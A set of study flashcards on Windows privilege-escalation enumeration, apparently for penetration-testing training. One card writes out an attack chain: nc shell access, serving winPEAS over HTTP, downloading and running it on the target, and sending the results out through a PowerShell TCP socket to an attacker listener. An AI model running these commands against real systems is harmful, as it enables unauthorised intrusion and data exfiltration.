Win Priv. esc. Automated Enumeration Flashcards

1
Q

Most common tool for info gathering for priv. esc on windows ?

A

winPEAS

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

How setup WinPeas on remote machine ?

A

Get access
```bash
nc 192.168.169.220 4444
powershell
~~~

Get WinPeas
```bash
cp /usr/share/peass/winpeas/winPEASx64.exe .
python3 -m http.server 80
~~~

Download WinPeas on windows target
```powershell
iwr -uri http://192.168.45.161/winPEASx64.exe -Outfile winPEAS.exe
.\winPEAS.exe > winPeas_Rslts.txt
~~~

Send results via powershell
```powershell
$client = New-Object System.Net.Sockets.TcpClient(“192.168.45.161”, 4000)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter $stream
$fileContent = Get-Content “winPeas_Rslts.txt” -Raw
$writer.Write($fileContent)
$writer.Flush()
$writer.Close()
$client.Close()
~~~

Retrieve file
```bash
nc -lvnp 4000 > winPeas_Rslts.txt
~~~

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Is automated enum tool enouthg ?

A

Nope, it can miss some sensible file and be imprecise

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

What is DPAPI Credential Files ?

A

The Data Protection API (DPAPI) is primarily utilized within the Windows operating system for the symmetric encryption of asymmetric private keys,

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

How get version of installed xampp with PS ?

A

Get version of xampp
~~~
Get-ItemProperty -Path “HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*” |
Where-Object { $_.DisplayName -like “xampp” } |
Select-Object DisplayName, DisplayVersion
~~~

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q
A
How well did you know this?
1
Not at all
2
3
4
5
Perfectly